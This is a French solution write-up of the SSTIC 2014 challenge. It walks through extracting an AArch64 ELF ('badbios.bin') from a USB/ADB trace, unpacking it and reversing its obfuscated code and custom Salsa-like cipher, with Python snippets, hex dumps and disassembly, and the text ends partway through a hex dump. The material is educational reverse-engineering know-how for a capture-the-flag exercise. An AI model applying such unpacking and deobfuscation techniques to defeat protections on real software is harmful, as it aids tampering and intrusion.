Solution du challenge SSTIC 2014

Pierre Bienaimé

14 mai 2014

Table des matières

Introduction

Dans un grand élan d'originalité, je vais commencer par plagier mon introduction de l'année dernière [1] car elle reste toujours d'actualité :

« J'aime le challenge SSTIC !

Chaque année, c'est une formidable occasion de découvrir qu'on est complètement nul dans beaucoup de domaines. Et chaque année, c'est un motivateur puissant qui nous force à assimiler de nouvelles connaissances afin de devenir un peu moins nul. »

Cette édition 2014 ne déroge pas à la règle : j'ai galéré du début à la fin. Au-delà d'un simple exposé de ma solution, ce document est surtout une thérapie qui j'espère m'aidera à panser mon cerveau qui a épuisé son quota de pensée pour un certain temps. D'ailleurs, pour le récompenser de ses bons aloyau services, pour le remercier d'avoir dépensé sans Comté, je tiens à vous avertir que je l'ai dispensé de la rédaction de ce rapport. Ne soyez donc pas surpris si j'ai quelques moments d'égarement. Erf, et en plus je crois que j'ai faim. Bon courage !

1 Niveau 1 : (US|AD)B

1.1 Tentative de gagner du temps

Le challenge débute en récupérant un fichier *usbtrace.xz* [2] qui est décrit comme étant une trace USB. Le but du jeu, quant à lui, reste inchangé : analyser ce fichier pour y retrouver une adresse e-mail au format `...@challenge.sstic.org`.

Un fois décompressé, nous obtenons un fichier texte qui introduit le contexte de cette première épreuve.

```
Date: Thu, 17 Apr 2015 00:40:34 +0200
To: <challenge2014@sstic.org>
Subject: Trace USB

Bonjour,

voici une trace USB enregistree en branchant mon nouveau telephone Android sur mon ordinateur
personnel air-gapped. Je suspecte un malware de transiter sur mon telephone. Pouvez-vous voir
de quoi il en retourne ?

---
```

1. http://static.sstic.org/challenge2013/pbienaime.pdf
2. http://static.sstic.org/challenge2014/usbtrace.xz

```
ffff8804ff109d80 1765779215 C Ii:2:005:1 0:8 8 = 00000000 00000000
ffff8804ff109d80 1765779244 S Ii:2:005:1 -115:8 8 <
ffff88043ac600c0 1765809097 S Bo:2:008:3 -115 24 = 4f50454e fd010000 00000000 09000000 1f030000 b0afbab1
ffff88043ac600c0 1765809154 C Bo:2:008:3 0 24 >
ffff88043ac60300 1765809224 S Bo:2:008:3 -115 9 = 7368656c 6c3a6964 00
ffff88043ac60300 1765809279 C Bo:2:008:3 0 9 >
ffff8804e285ec00 1765810255 C Bi:2:008:5 0 24 = 4f4b4159 fb000000 fd010000 00000000 00000000 b0b4bea6
ffff8800d0fbf180 1765810282 S Bi:2:008:5 -115 24 <
ffff8800d0fbf180 1765815007 C Bi:2:008:5 0 24 = 57525445 fb000000 fd010000 d3000000 05410000 a8adabba
ffff8800d0fbf180 1765815053 S Bi:2:008:5 -115 211 <
ffff8800d0fbf180 1765815140 C Bi:2:008:5 0 211 = 7569643d 32303030 28736865 6c6c2920 6769643d 32303030
 28736865 6c6c2920 67726f75 70733d31 30303328 67726170 68696373 292c3130 30342869 6e707574 292c3130
 3037286c 6f67292c 31303039 286d6f75 6e74292c 31303131 28616462 292c3130 31352873 64636172 645f7277
 292c3130 32382873 64636172 645f7229 2c333030 31286e65 745f6274 5f61646d 696e292c 33303032 286e6574
 5f627429 2c333030 3328696e 6574292c 33303036 286e6574 5f62775f 73746174 73292063 6f6e7465 78743d75
 3a723a73 68656c6c 3a7330
ffff8800d0fbf180 1765815196 S Bi:2:008:5 -115 24 <
ffff8800d0fbf9c0 1765815271 S Bo:2:008:3 -115 24 = 4f4b4159 fd010000 fb000000 00000000 00000000 b0b4bea6
ffff8800d0fbf9c0 1765815339 C Bo:2:008:3 0 24 >
ffff8800d0fbf180 1765815757 C Bi:2:008:5 0 24 = 57525445 fb000000 fd010000 02000000 17000000 a8adabba
ffff8800d0fbf180 1765815804 S Bi:2:008:5 -115 2 <
ffff8800d0fbf180 1765815888 C Bi:2:008:5 0 2 = 0d0a
ffff8800d0fbf180 1765815944 S Bi:2:008:5 -115 24 <
ffff8800d0fbf180 1765815967 C Bi:2:008:5 0 24 = 434c5345 fb000000 fd010000 00000000 00000000 bcb3acba
ffff88043aed5000 1765816014 S Bi:2:008:5 -115 24 <
ffff88043ac60300 1765816040 S Bo:2:008:3 -115 24 = 4f4b4159 fd010000 fb000000 00000000 00000000 b0b4bea6
ffff88043ac60300 1765816093 C Bo:2:008:3 0 24 >
[...]
```

Cet e-mail, daté du mois d'avril 2015 (?!?), nous invite à analyser la trace USB d'une communication entre un téléphone Android et un ordinateur, à la recherche d'un malware. La trace en question contient environ 2900 lignes.

Tout comme beaucoup de monde, j'ai une souris et un clavier USB, j'utilise des clés USB pour transférer des fichiers, je recharge mon téléphone via USB et je suis assez vieux pour avoir eu un modem USB... mais en pratique, je n'ai aucune idée de comment USB fonctionne concrètement. USB (Universal Serial Bus) est une norme qui permet de connecter des périphériques à un ordinateur, mais il existe une grande quantité d'usages différents et je ne sais pas comment l'ordinateur est capable de reconnaître que nous sommes en train de lui envoyer les mouvements d'une souris ou les données d'une connexion Internet. Tout ça pour dire que de prime abord, cette trace USB m'a fait un peu peur.

Après quelques recherches, la trace s'avère avoir été générée par **usbmon**, qui est une partie du noyau Linux capable de collecter les entrées/sorties des bus USB. Le format de log est *un peu* documenté [3] mais tout cela reste assez obscur pour l'instant. En regardant chaque ligne de log, je constate que la plupart des informations n'ont pas l'air indispensables. À l'inverse, tout ce qui se trouve après le caractère = ressemble à des données encodées en hexa. Une bonne partie de ces données sont des caractères ASCII. Dans une tentative de gagner du temps et d'aller à l'essentiel, j'ai donc parsé naïvement la trace USB en ne conservant que ce qui est situé après les caractères =. Ceci permet de récupérer des chaînes intéressantes, dont voici une sélection :

3. https://www.kernel.org/doc/Documentation/usb/usbmon.txt

```
shell:id
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),
  1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
  context=u:r:shell:s0
shell:uname -a
Linux localhost 4.1.0-g4e972ee #1 SMP PREEMPT Mon Feb 24 21:16:40 PST 2015 armv8l GNU/Linux
/sdcard/Documents/
CSW-2014-Hacking-9.11_uncensored.pdf
NATO_Cosmic_Top_Secret.gpg
/data/local/tmp/badbios.bin
shell:chmod 777 /data/local/tmp/badbios.bin
```

On comprend que les commandes **id** et **uname -a** sont exécutées sur le téléphone, que le contenu du dossier /sdcard/Documents/ est listé et qu'il renferme des trolls. Pour finir, un fichier nommé *badbios.bin* est copié et on lui applique un **chmod 777**. On devine qu'il ne va pas s'agir du *vrai-faux-fake-0day-OMG-w00t-troll-NSA ?-dragos-rootkit-malware-pokedex* badBIOS, mais plutôt d'un fichier qui contiendra l'épreuve à résoudre pour poursuivre le challenge. Le transfert du fichier *badbios.bin* est relativement facile à identifier dans la trace USB : alors que la majorité des lignes de log ne contiennent que très peu de données (souvent entre 0 et 200 octets), on trouve 19 lignes de 4096 octets de données, suivies par une ligne de 233 octets, ce qui fait donc un fichier de 78057 octets dont voici le début :

```
/data/local/tmp/badbios.bin,33261DATA\x00\x00\x01\x00\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x02\x00\xb7\x00\x01\x00\x00\x00\xcc\x02\x01\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00p/\x01
\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x03\x00@\x00\x05\x00\x04\x00\x01\x00\x00\x00\x05\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\xd8
\x05\x00\x00\x00\x00\x00\x00\xd8\x05\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00
\x00\x06\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x10\x02\x00\x00
\x00\x00\x00P\x1f\x01\x00\x00\x00\x00\x00P\x1f\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00
\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd{\xb9\xa9\xfd\x03\x00\x91\x89\x00\x00\xb0"
\x01\x00\x91\xa0k\x00\xb9@\x04@\xf9C\x00@\xb9\xf9k\x04\xa9\xf3S\x01\xa9\xf5[\x02\xa9\xf7c\x03\xa9\xfb+
\x00\xf9\xa03\x00\xf9\xf9\x03\x01\xaa#\x0b\x004U\x0c@\xf9F\x08@\xf9\xb5\xfe?\x91\xb5\xcet\x92\x07\x00\x80
\xd2T\x06\x80\xd2j\x00\x80\xd2\xe5\x03\x07\xaa\xe4\x03\x07\xaa\xe3\x03\x14\xaa\xe2\x03\n\xaa\xe1\x03\x15
\xaa\xe0\x03\x06\xaa\xc8\x1b\x80\xd2\x01\x00\x00\xd4\xf4\x03\x00\xaa\x9f\x02\x06\xeb\xe1\x03\x14\xaa@\x01
\x00T7\x00\x80R\xe0\x03\x17*\xf3SA\xa9\xf5[B\xa9\xf7cC\xa9\xf9kD\xa9\xfb+@\xf9\xfd{\xc7\xa8\xc0\x03_\xd6*
\x01\x00\x91VA\x00\x91\xc0&@\xb9S\xe1\x00\x91\x18\x00\x80R\xf7\x03\n\xaa{\x00\x80\xd2Z\x06\x80\xd2\xc0
\x05\x005\xc0\x0e@\xf9\xc7\n@\xf9\x80\x01\x00\xb4\x00\x04\x00\x91$\x00\x80\xd2\x02\x00\x80\xd2\x03\x00
\x00\x14\xe2\x03\x04\xaa\xe4\x03\x03\xaa\xe5hb8\x83\x04\x00\x91%h"8\x7f\x00\x00\xebA\xff\xffT\xc3"\x80
\xb9\xe2\x03\x03\xaa\xe1\x03\x15\xaa
```

Ces données commencent par le nom du fichier, puis par un entête DATA assez étrange. Une fois ceux-ci supprimés, on obtient un binaire ELF.

```
$ file badbios.bin
badbios.bin: ELF 64-bit LSB executable, version 1 (SYSV), statically linked, stripped
```

Un petit coup de **readelf** permet de... de faire une erreur de segmentation.

```
$ readelf -a badbios.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           <unknown>: 0xb7
  Version:                           0x1
  Entry point address:               0x102cc
  Start of program headers:          64 (bytes into file)
  Start of section headers:          77680 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         3
  Size of section headers:           64 (bytes)
  Number of section headers:         5
  Section header string table index: 4

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0] <corrupt>         00006174: <unkn  0000000000000000  00000000
Erreur de segmentation (core dumped)
```

L'architecture pour laquelle est conçu ce binaire est marquée comme *<unknown> 0xb7*. En réalité, la page Wikipédia du format ELF [4] indique que 0xb7 correspond à AArch64, la très récente architecture ARMv8 64 bits que la version de **readelf** installée sur ma machine est trop ancienne pour connaître. Pour autant, le fait que **readelf** fasse une erreur de segmentation reste très suspect.

Il va donc falloir mettre en place une plateforme AArch64 afin de pouvoir exécuter ce binaire *badbios.bin*. Je reviendrai plus tard sur les détails de cette étape, mais une fois ceci fait, je constate que le binaire ne fonctionne pas. Pour trouver ce qui ne va pas, il convient de comprendre à peu près comment est censé fonctionner un ELF. Pour cela, rien de mieux que de consulter les excellents posters de Corkami [5] et en particulier celui consacré au format ELF 64 bits [6]. Merci Ange !

Par exemple, en regardant dans notre entête ELF, on note que l'offset de la table des entêtes de sections vaut 0x12f70. Or, cet offset tombe en plein dans la table des noms de section. La table des entêtes de sections ne commence que 8 octets plus tard.

```
00012f50  79 2e 0a 00 00 00 00 00  00 2e 73 68 73 74 72 74  |y.........shstrt|
00012f60  61 62 00 2e 74 65 78 74  00 2e 72 6f 64 61 74 61  |ab..text..rodata|
00012f70  00 2e 64 61 74 61 00 00  00 00 00 00 00 00 00 00  |..data..........|
```

Changer cet offset à la main ne résout pas le problème. Il faut se rendre à l'évidence : ce binaire ELF est corrompu. Quelque chose s'est certainement passé pendant le transfert du fichier via USB ; un petit piège qui rend ce parsing naïf inopérant. Comme prévu, la

4. http://en.wikipedia.org/wiki/Executable_and_Linkable_Format
5. http://code.google.com/p/corkami/
6. http://i.imgur.com/EL7lT1i.png

tentative de gagner du temps est un échec. A présent, il va falloir analyser un peu plus en détail la trace USB afin de comprendre pourquoi le fichier est corrompu.

1.2 Où ai-je rangé mon décapsuleur ?

De retour sur la trace USB, mais cette fois en tentant d'extraire correctement le fichier *badbios.bin*. Pour ce faire, il va falloir parser successivement plusieurs protocoles encapsulés. Je n'ai rien trouvé de fantastique permettant de parser un log **usbmon**. J'ai un peu joué avec Wireshark pour tenter de trouver un moyen d'ouvrir ma trace USB (en vain) mais j'en ai en tout cas profité pour voir à quoi pouvait ressembler le trafic émis par ma souris, mon clavier, etc.

J'ai fini par écrire quelques lignes de Python [7] afin de parser la trace USB un peu plus proprement. Tout d'abord, chaque ligne de log contient une *device address* qui identifie le périphérique USB concerné. On peut donc ne garder que ce qui transite réellement entre l'ordinateur et le téléphone (device address 008). La trace est ainsi nettoyée de tout le bruit généré, entre autres, par les mouvements de la souris. À noter qu'il aurait pu être intéressant de reconstituer le chemin effectué par la souris à partir de cette trace USB et de récupérer un joli dessin. Je n'ai pas creusé dans cette direction, mais je l'ai noté dans ma longue TODO-list de choses que je voudrais faire mais que je ne ferai jamais, par manque de temps et de courage.

Ensuite, si les lignes de log contiennent des données, la longueur de celles-ci est indiquée. Il convient donc de vérifier qu'il n'y a pas d'incohérence entre ce qui est annoncé et ce qui transite vraiment. En effet, cela pourrait expliquer le fait que le fichier ELF soit corrompu.

```python
#!/usr/bin/env python
#-*- coding:utf-8 -*-

u = open("usb.txt").read()
r = []
for line in u.split("\n"):
    l = line.split(" ")
    if len(l) >= 8 and l[6] == "=":
        if ":008:" in l[3]:
            length = int(l[5])
            data = "".join(l[7:]).decode("hex")
            assert length == len(data)
            r.append(repr(data))

with open("data", "wb") as f:
    f.write("\n".join(r))
```

Perdu, toutes les longueurs sont correctes. Voici un aperçu des données qui transitent entre l'ordinateur et le téléphone

7. Oui, oui, je sais, je fais encore du Python2, boouuuuh

```
OPEN\xfd\x01\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x1f\x03\x00\x00\xb0\xaf\xba\xb1
shell:id\x00
OKAY\xfb\x00\x00\x00\xfd\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb4\xbe\xa6
WRTE\xfb\x00\x00\x00\xfd\x01\x00\x00\xd3\x00\x00\x00\x05A\x00\x00\xa8\xad\xab\xba
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),
  1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
  context=u:r:shell:s0
OKAY\xfd\x01\x00\x00\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb4\xbe\xa6
WRTE\xfb\x00\x00\x00\xfd\x01\x00\x00\x02\x00\x00\x00\x17\x00\x00\x00\xa8\xad\xab\xba
\r\n
CLSE\xfb\x00\x00\x00\xfd\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba
OKAY\xfd\x01\x00\x00\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb4\xbe\xa6
CLSE\x00\x00\x00\x00\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba
OPEN\xff\x01\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x16\x05\x00\x00\xb0\xaf\xba\xb1
shell:uname -a\x00
[...]
```

On retrouve les commandes **id** et **uname -a** du début, mais cette fois on découvre qu'elles sont encapsulées dans un protocole indéterminé. Les messages ont une taille fixe de 24 octets, et les mots-clés d'entête font 4 octets et sont, au choix : **OPEN**, **CLSE**, **OKAY**, **WRTE**. Quelques recherches finissent par révéler qu'il s'agit du protocole ADB. Ah... ben oui, en effet, c'est plutôt logique. Il n'y a pas 42 protocoles qui permettent d'exécuter des commandes shell depuis un ordinateur vers un téléphone Android branché en USB. Le protocole est documenté ici [8] et s'avère assez simple à parser. Voici de quoi est composé chaque message :

```
struct message {
    unsigned command;       /* command identifier constant      */
    unsigned arg0;          /* first argument                   */
    unsigned arg1;          /* second argument                  */
    unsigned data_length;   /* length of payload (0 is allowed) */
    unsigned data_crc32;    /* crc32 of data payload            */
    unsigned magic;         /* command ^ 0xffffffff             */
```

Je vous fais grâce de mon code qui parse les messages ADB et qui conclut que... tout semble normal. Hein ? Mais pourquoi l'ELF est corrompu alors ? C'est un ELF de sang, c'est ça ? Ou alors il faut encore aller plus profond, et parser maintenant les données des messages **WRTE**, au moment où le fichier *badbios.bin* est copié. On en revient à ces fameux entêtes qui avaient été trop rapidement ignorés :

```
SEND!\x00\x00\x00

/data/local/tmp/badbios.bin,33261DATA\x00\x00\x01\x00\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x02\x00\xb7\x00\x01\x00\x00\x00\xcc\x02\x01\x00\x00\x00\x00\x00@\x00\x00\x00
\x00\x00\x00\x00p/\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00@\
[...]
\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00DONEn\xb4OS
```

Il s'agit du service SYNC, qui est documenté [9] juste à coté du protocole ADB et dont l'une des fonctionnalités est l'envoi de fichier (SEND). La syntaxe est de commencer par le nom du fichier et ses droits (en décimal). Ensuite, le contenu est découpé en chunks qui

8. https://android.googlesource.com/platform/system/core/+/master/adb/protocol.txt
9. https://android.googlesource.com/platform/system/core/+/master/adb/SYNC.TXT

sont préfixés du mot clé DATA et de la longueur du chunk. Le premier chunk fait la taille 0x10000, c'est-à-dire 65536 octets. Or, le fichier *badbios.bin* fait 78Ko. Il y a donc dans ce fichier un deuxième chunk accompagné par son entête de 8 octets, ce qui explique que tous les offsets se retrouvent décalés. Une fois ces 8 octets (situés en 65537) supprimés, le fichier ELF *badbios.bin* est enfin valide.

2 Niveau 2 : Meta-reverse

N'ayant pas eu de temps libre ces 9 derniers jours, me voilà dans l'obligation de bâcler cette partie du rapport, alors que j'ai passé des dizaines d'heures à la résoudre :)

2.1 Choix des ARMes

Le deuxième niveau consiste à reverser le binaire *badbios.bin*. La première tâche est de mettre en place une plateforme ARM AArch64. Hasard du calendrier (ou pas ?), le support de ARMv8 dans **qemu** est sorti juste avant le challenge. Cependant, j'ai souvenir que j'avais tellement eu de mal à faire tourner une debian-mips dans qemu pour le challenge SSTIC de 2012 (et sans être parvenu à faire marcher le réseau) que je me suis dit que j'allais essayer autre chose. Je suis tombé sur le projet Linaro et j'ai suivi leur tutoriel [10] pour faire tourner une VM ARMv8 en utilisant la plateforme officielle *Foundation* [11]. Tout s'est bien passé. Enfin presque. Comme d'habitude, je n'ai pas réussi à faire fonctionner le réseau... mais j'ai pu faire sans. Cette machine virtuelle s'est d'ailleurs révélée très pratique (bien qu'elle soit assez lente) car les outils indispensables tels que **gdb** étaient déjà installés.

Pour le reverse statique, quelques privilégiés ont pu utiliser IDA Pro qui supporte AArch64 dans sa dernière version. Pour ma part, j'ai dû me résoudre à chercher des outils alternatifs. J'ai d'abord essayé de dompter **radare2** pour l'utiliser à la fois en tant que débogueur et que désassembleur, mais je n'ai jamais réussi à le cross-compiler pour ma VM ARM. Je l'ai donc utilisé un moment sur ma machine hôte pour la partie statique et j'ai trouvé l'outil très intéressant. Mais au bout d'un moment, comme j'ai constaté qu'il ne m'apportait pas de réelle plus-value sur mon code dépacké, j'ai fini par le délaisser pour tout faire avec **gdb** et un éditeur de texte. Autant dire que ça n'a pas été simple. En fait, j'ai même trouvé cette épreuve horriblement difficile. Mais c'est de la bonne difficulté : ce n'est pas du guessing, le reverse est compliqué mais c'est toujours possible de prendre les instructions une par une, de les comprendre puis d'essayer d'avoir une vue d'ensemble.

J'aurais donné cher pour avoir un beau graphe de flot de contrôle. À la place j'ai regardé mon dump gdb des heures et des heures jusqu'à ce que je mémorise malgré moi les adresses de toutes les fonctions. Mais bon, la prochaine fois, il faudra vraiment que je trouve une méthode plus efficace :)

Dernière précision, je suis encore un débutant en reverse et je n'avais jamais touché à de l'assembleur ARM. Ma méthodologie fut donc loin d'être optimale, et je suis très impatient de dévorer les solutions des autres participants afin de découvrir leurs tricks.

10. http://releases.linaro.org/latest/openembedded/aarch64/
11. http://www.arm.com/products/tools/models/fast-models/foundation-model.php

2.2 Premières observations

```
$ ./badbios.bin
:: Please enter the decryption key: 1234
   Wrong key format.

$ ./badbios.bin
:: Please enter the decryption key: 1234123412341234
:: Trying to decrypt payload...
   Invalid padding.
```

Le binaire demande un clé de déchiffrement de 16 caractères hexadécimaux. Anecdote : les caractères hexadécimaux ABCDEF sont acceptés par le programme uniquement s'ils sont en majuscule. Initialement, j'avais testé seulement en minuscule et voyant que ça ne fonctionnait pas, j'avais acquis la quasi-certitude que la clé n'était composée que de chiffres, ce qui plus tard m'a mis sur une (très) fausse piste. J'y reviendrai.

Un petit coup de hachoir sur le binaire permet de constater qu'il contient un second fichier ELF

```
$ hachoir-subfile badbios.bin
[+] Start search on 78000 bytes (76.2 KB)

[+] File at 0: ELF Unix/BSD program/library: 64 bits
[+] File at 69833: ELF Unix/BSD program/library: 64 bits

[+] End of search -- offset=78000 (76.2 KB)
```

Cependant, celui ci est à nouveau corrompu mais ce n'est plus une simple histoire de SYNC. Ici, il manque clairement des octets. Cela peut s'observer dans les entêtes ELF (on retrouve le 0xb7 de l'architecture AAarch64, mais 5 octets trop tôt) ainsi que dans les chaînes de caractères qui sont tronquées :

```
00012ee0  4e 6f 20 65 72 72 6f 72  2e 0a d0 2a f5 07 42 61  |No error...*..Ba|
00012ef0  64 20 69 6e 73 74 72 75  63 74 69 6f 6e 20 70 6f  |d instruction po|
00012f00  69 6e 74 65 1f 00 79 00  49 6e 76 61 6c 69 24 00  |inte..y.Invali$.|
00012f10  01 1c 00 c0 4d 65 6d 6f  72 79 20 66 61 75 6c 74  |....Memory fault|
00012f20  11 00 10 49 36 00 3a 6e  61 6c 5e 00 06 40 00 84  |...I6.:nal^..@..|
00012f30  61 72 67 75 6d 65 6e 74  1a 00 f0 01 4f 75 74 20  |argument....Out |
00012f40  6f 66 20 6d 65 6d 6f 72  79 2e 0a 00 00 00 00 00  |of memory.......|
```

2.3 Reverse

Quand on désassemble le code, on constate qu'il y en a très peu et que le binaire est donc certainement packé, sinon c'est pas drôle. Par contre, il ne semble pas y avoir d'anti-débogueur car gdb fonctionne bien (ou alors c'est un piège). Au cours de l'exécution, on finit par arriver à l'instruction **blr x2** située à l'adresse 0x102c0, ce qui a pour effet de sauter à l'adresse 0x400514, c'est à dire quelque part dans la mémoire. En dumpant

la mémoire à partir de 0x400000, on récupère le second fichier ELF qui était corrompu, mais qui a été réparé. Pas besoin de s'attarder sur le code, il s'agit (a priori) uniquement d'un petit unpacking. De toute manière, tant que la clé de déchiffrement ne nous a pas été demandée, tout ce que fait le programme n'est pas primordial. La suite du reverse statique a donc été effectuée sur cet ELF dépacké (ah oui, pour ne rien arranger, j'ai fait le reverse dynamique sur gdb avec des adresses en 0x400000 alors que le reverse statique a été fait avec des adresses en 0x000000).

Pour avancer dans le reverse et me donner du courage, je me suis forcé à me poser des questions (et parfois, même à trouver les réponses !). La première est : *Comment est utilisée la clé de déchiffrement ?*

Muahahah, pauvre de moi. Rien que les messages d'erreur du programme sont introuvables. Ils sont probablement chiffrés... ou pire. J'ai rapidement dû me rabattre sur des questions bien plus accessibles, telles que *C'est quoi cette instruction* ***svc*** *?* ou encore *Quelle est la différence entre* ***b*** *et* ***bl*** *?*. Une fois les bases de l'ARM assimilées, j'ai tenté d'avoir une vue d'ensemble du programme. Et une fois que j'ai compris que c'était impossible pour l'instant, j'ai pris des fonctions qui avaient l'air intéressantes et j'ai essayé de les comprendre.

Une grande partie du code est légèrement obfusqué. Par-ci par-là, des instructions inutiles ont été insérées. Par exemple :

```
0x000013dc    080180d2    mov x8, 0x8
0x000013e0    08e1c893    ror x8, x8, 56
0x000013e4    08f9c893    ror x8, x8, 62
0x000013e8    6000038a    and x0, x3, x3
0x000013ec    081dc893    ror x8, x8, 7
0x000013f0    010000d4    svc 0x0
```

Il s'agit d'un syscall avec x8 qui vaut 64. En cherchant le fichier *unistd.h* dans les sources de ma VM, on trouve qu'il s'agit d'un **write**. Je ne vais pas m'attarder sur ce que fait chaque fonction et sur comment je suis parvenu, peu à peu, à prendre de la hauteur. Je vais simplement parler de certaines d'entre elles ainsi que de quelques zones mémoire.

2.3.1 Salcha

Une grosse fonction se distingue des autres car elle contient une énorme quantité de **eor**, **ror** et **add**, ce qui ressemble beaucoup à de la crypto. En entrée, elle prend des valeurs fixes : "expand 16-byte k" ainsi que 8 fois 0x05b1ad0b (0x05b1ad0b => 0xbadb105 => 0xbadbios). Elle prend également un entier qui s'avère être un compteur (comme pour le mode d'opération CTR). La valeur générée en sortie est ensuite XOR avec des données de la mémoire. *expand 16-byte k* est une constante utilisée par le chiffrement Salsa [12] qui ressemble beaucoup à notre fonction, bien que le nombre de rotation ne semble pas correspondre. Plusieurs variantes de Salsa existent et portent le nom de Chacha. Ne sachant pas exactement à quoi j'étais confronté mais supposant qu'il devait s'agir d'un mélange des deux un peu custom, j'ai baptisée cette fonction Salcha, même si je n'ai rien

12. http://cr.yp.to/snuffle.html

contre ces gentils animaux poilus. J'ai pris la peine de recoder Salcha en Python ce qui m'a permis de déchiffrer toute la zone mémoire d'un coup.

```
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000030  00 00 00 00 00 20 00 00  00 00 00 00 40 00 00 00  |..... ......@...|
00000040  00 01 00 00 01 21 00 00  00 02 00 00 01 12 00 00  |.....!..........|
00000050  00 03 00 00 01 e3 32 00  00 04 00 00 01 44 02 00  |......2......D..|
00000060  1d 00 00 01 00 00 01 11  00 00 0a 22 00 03 00 00  |...........".....|
00000070  01 c3 3f 00 00 04 00 00  01 04 01 00 1d 00 02 05  |..?.............|
00000080  00 00 00 03 00 00 01 03  01 00 13 35 08 6a b4 02  |...........5.j..|
00000090  00 0f 00 00 01 0f 01 00  00 0e 00 00 01 ce 3f 00  |..............?.|
000000a0  00 0d 00 00 01 6d 32 00  17 0d 00 02 00 00 01 02  |.....m2.........|
000000b0  03 00 00 03 00 00 01 93  03 00 00 04 00 00 01 14  |................|
000000c0  04 00 00 05 00 00 01 65  04 00 04 ec 00 00 02 01  |.......e........|
000000d0  2c 00 13 21 08 82 b4 02  02 01 2c 00 13 31 08 c2  |,..!......,..1..|
000000e0  06 01 02 01 2c 00 13 41  08 82 b4 02 02 01 2c 00  |....,..A......,.|
000000f0  13 51 08 a2 b4 02 13 4c  00 01 00 00 01 a1 00 00  |.Q.....L........|
00000100  12 1c 08 00 08 01 13 2c  00 07 00 00 01 07 01 00  |.......,........|
00000110  13 f7 00 01 00 00 01 11  00 00 0c 71 08 62 2c 01  |...........q.b,.|
00000120  00 07 00 00 01 47 00 00  0d 7c 16 0d 04 d1 00 00  |.....G...|......|
00000130  0b c1 07 d1 00 00 16 0e  17 0f 08 7e ca 00 00 01  |...........~....|
00000140  00 00 01 21 00 00 00 02  00 00 01 12 00 00 00 03  |...!............|
00000150  00 00 01 43 35 00 00 04  00 00 01 04 02 00 1d 00  |...C5...........|
00000160  00 01 00 00 01 61 32 00  02 1a 00 00 02 1b 04 00  |.....a2.........|
00000170  0a 11 00 02 00 00 01 02  00 08 00 03 00 00 01 83  |................|
00000180  00 00 0a 44 00 0c 00 0b  01 0c 00 00 00 0d 00 00  |...D............|
00000190  01 1d 00 00 02 08 24 00  02 09 28 00 0c c8 0c d9  |......$...(.....|
000001a0  0a 98 1e 89 00 08 00 00  01 18 00 00 00 07 00 00  |................|
000001b0  01 f7 01 00 02 06 24 00  0c 86 0d 76 0e 8b 0b 6b  |......$....v...k|
000001c0  0e 8a 0d 79 0b 9a 17 03  02 07 28 00 0c 87 0d 37  |...y......(....7|
000001d0  0b 74 08 66 f6 01 00 07  00 00 01 07 00 08 12 17  |.t.f............|
000001e0  04 78 00 00 0a 48 07 78  00 00 00 03 00 00 01 83  |.x...H.x........|
000001f0  00 00 16 01 0a 44 00 08  00 00 01 08 00 02 13 18  |.....D..........|
00000200  08 b0 94 01 00 0d 00 00  01 0d 00 08 00 0c 00 00  |................|
00000210  01 0c 00 02 00 0b 00 00  01 0b 08 00 0a aa 00 09  |................|
00000220  00 00 01 89 00 00 16 0a  17 0c 08 d8 da 02 02 0a  |................|
00000230  30 00 12 ca 04 a1 00 00  08 42 26 02 13 b1 08 62  |0........B&....b|
00000240  da 02 13 9a 08 d4 da 02  0c 01 00 02 00 00 01 02  |................|
00000250  3f 00 00 03 00 00 01 13  24 00 00 04 00 00 01 64  |?.......$......d|
00000260  1b 00 1d 00 08 82 b2 02  02 02 00 00 00 01 00 00  |................|
00000270  01 21 00 00 00 03 00 00  01 03 00 08 02 04 2c 00  |.!............,.|
